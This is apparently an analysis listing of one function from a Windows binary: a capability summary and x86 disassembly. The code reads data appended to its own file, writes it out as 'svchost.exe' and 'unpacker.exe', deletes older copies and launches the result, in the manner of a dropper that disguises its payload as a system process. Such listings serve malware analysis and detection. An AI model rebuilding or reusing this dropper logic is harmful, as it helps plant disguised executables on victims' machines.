Function at 0x4037a8
Capabilities:
Check if file exists
Create process on windows
Delete file
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x409404
call fcn.00404828
sub esp, 0x2a4
push ebx
push esi
push edi
lea eax, [ebp - 0x5c]
xor ebx, ebx
push str.Mrak1pack
push eax
mov dword [ebp - 4], ebx
call fcn.004042d0
pop ecx
mov byte [ebp - 0x4e], 5
pop ecx
push ebx
lea ecx, [ebp - 0x1c]
call section..text
push ebx
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call section..text
push ebx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call section..text
mov eax, dword [0x40c824]
mov edi, dword [0x40c820]
mov esi, eax
mov byte [ebp - 4], 3
cmp esi, ebx
jle 0x403817
cmp byte [edi + esi], 0x5c
je 0x403817
dec esi
cmp esi, ebx
jg 0x40380c
inc esi
xor ecx, ecx
cmp esi, eax
jge 0x40382c
mov dl, byte [edi + esi]
mov byte [ebp + ecx - 0x2b0], dl
inc ecx
inc esi
jmp 0x40381a
lea eax, [ebp - 0x2b0]
mov byte [ebp + ecx - 0x2b0], bl
push eax
lea ecx, [ebp - 0x1c]
call fcn.004010a7
mov ecx, 0x40c820
call fcn.00402570
push ecx
push ecx
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call section..text
call fcn.004036f1
pop ecx
cmp al, bl
pop ecx
je 0x403bc0
push 0x40c820
call fcn.00401c15
mov edi, eax
pop ecx
cmp edi, ebx
mov dword [ebp - 0x38], edi
je 0x403bc0
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push ebx
push 0xffffffffffffffe8
push edi
call esi
lea eax, [ebp - 0x44]
push ebx
push eax
lea eax, [ebp - 0x5c]
push 0x18
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
call edi
push ebx
push ebx
push ebx
push dword [ebp - 0x38]
call esi
push dword [ebp - 0x4c]
call fcn.0040443b
pop ecx
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x44]
push ebx
push ecx
push dword [ebp - 0x4c]
push eax
push dword [ebp - 0x38]
call edi
lea eax, [ebp + 8]
lea ecx, [ebp - 0x14]
push eax
call fcn.0040106a
lea eax, [ebp - 0x24]
push str._svchost.exe
push eax
lea ecx, [ebp - 0x14]
call fcn.004011a5
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 4
call fcn.0040106a
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], 3
je 0x403900
push dword [ebp - 0x24]
call fcn.00404449
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x403987
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x403987
push 0x40c830
lea ecx, [ebp - 0x14]
call fcn.0040106a
lea eax, [ebp - 0x24]
push 0x40c1c8
push eax
lea ecx, [ebp - 0x14]
call fcn.004011a5
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 5
call fcn.0040106a
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], 3
je 0x403957
push dword [ebp - 0x24]
call fcn.00404449
pop ecx
lea eax, [ebp - 0x24]
push str.unpacker.exe
push eax
lea ecx, [ebp - 0x14]
call fcn.004011a5
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 6
call fcn.0040106a
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], 3
je 0x403987
push dword [ebp - 0x24]
call fcn.00404449
pop ecx
lea eax, [ebp - 0x14]
push eax
call fcn.00401bdc
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x4039ae
push dword [ebp - 0x3c]
call fcn.00404449
pop ecx
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403bc0
lea eax, [ebp - 0x44]
push ebx
push eax
push dword [ebp - 0x4c]
push dword [ebp - 0x3c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x3c]
call fcn.00404449
pop ecx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040106a
push dword [ebp - 0x48]
call fcn.0040443b
pop ecx
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x44]
push ebx
push ecx
push dword [ebp - 0x48]
push eax
push dword [ebp - 0x38]
call edi
push 0x40c830
lea ecx, [ebp - 0x14]
call fcn.0040106a
lea eax, [ebp - 0x24]
push 0x40c1c8
push eax
lea ecx, [ebp - 0x14]
call fcn.004011a5
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 7
call fcn.0040106a
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], 3
je 0x403a35
push dword [ebp - 0x24]
call fcn.00404449
pop ecx
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.004010fc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 8
call fcn.0040106a
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], 3
je 0x403a64
push dword [ebp - 0x24]
call fcn.00404449
pop ecx
lea eax, [ebp - 0x14]
push eax
call fcn.00401bdc
mov edi, eax
pop ecx
cmp edi, ebx
jne 0x403a87
push dword [ebp - 0x3c]
call fcn.00404449
pop ecx
push dword [ebp - 0x38]
call esi
jmp 0x403bc0
lea eax, [ebp - 0x44]
push ebx
push eax
push dword [ebp - 0x48]
push dword [ebp - 0x3c]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call esi
push dword [ebp - 0x3c]
call fcn.00404449
pop ecx
push dword [ebp - 0x38]
call esi
push ebx
lea ecx, [ebp - 0x34]
call section..text
push 0x44
lea eax, [ebp - 0xb0]
pop edi
mov byte [ebp - 4], 9
push edi
push ebx
push eax
call fcn.00404850
push 0x10
lea eax, [ebp - 0x6c]
push ebx
push eax
mov dword [ebp - 0xb0], edi
call fcn.00404850
add esp, 0x18
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x14]
push eax
call fcn.0040106a
push 0x40c1f8
lea ecx, [ebp - 0x34]
call fcn.004010a7
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x34]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.004010fc
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xa
call fcn.0040106a
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], 9
je 0x403b25
push dword [ebp - 0x24]
call fcn.00404449
pop ecx
lea eax, [ebp - 0x24]
push 0x40c1f4
push eax
lea ecx, [ebp - 0x34]
call fcn.004011a5
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xb
call fcn.0040106a
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], 9
je 0x403b55
push dword [ebp - 0x24]
call fcn.00404449
pop ecx
lea eax, [ebp - 0x40]
push 0x40c820
push eax
lea ecx, [ebp - 0x34]
call fcn.004010fc
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xc
call fcn.0040106a
cmp dword [ebp - 0x40], ebx
mov byte [ebp - 4], 9
je 0x403b85
push dword [ebp - 0x40]
call fcn.00404449
pop ecx
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x40], ebx
push eax
lea eax, [ebp - 0xb0]
push eax
push dword [ebp + 8]
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x34]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x403c17
cmp dword [ebp - 0x34], ebx
mov byte [ebp - 4], 3
je 0x403bbd
push dword [ebp - 0x34]
call fcn.00404449
pop ecx
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x2c], ebx
mov byte [ebp - 4], 2
je 0x403bd2
push dword [ebp - 0x2c]
call fcn.00404449
pop ecx
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 4], 1
je 0x403be7
push dword [ebp - 0x14]
call fcn.00404449
pop ecx
cmp dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], bl
je 0x403bfb
push dword [ebp - 0x1c]
call fcn.00404449
pop ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp + 8], ebx
mov dword [ebp - 0x1c], ebx
je 0x403c10
push dword [ebp + 8]
call fcn.00404449
pop ecx
xor al, al
jmp 0x403c98
push dword [ebp - 0x6c]
call esi
push dword [ebp - 0x68]
call esi
push ebx
push ebx
push 0x10
push dword [0x40c840]
call dword [sym.imp.USER32.dll_PostMessageA]
cmp dword [ebp - 0x34], ebx
mov byte [ebp - 4], 3
je 0x403c43
push dword [ebp - 0x34]
call fcn.00404449
pop ecx
cmp dword [ebp - 0x2c], ebx
mov dword [ebp - 0x34], ebx
mov byte [ebp - 4], 2
je 0x403c58
push dword [ebp - 0x2c]
call fcn.00404449
pop ecx
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 4], 1
je 0x403c6d
push dword [ebp - 0x14]
call fcn.00404449
pop ecx
cmp dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], bl
je 0x403c81
push dword [ebp - 0x1c]
call fcn.00404449
pop ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp + 8], ebx
mov dword [ebp - 0x1c], ebx
je 0x403c96
push dword [ebp + 8]
call fcn.00404449
pop ecx
mov al, 1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret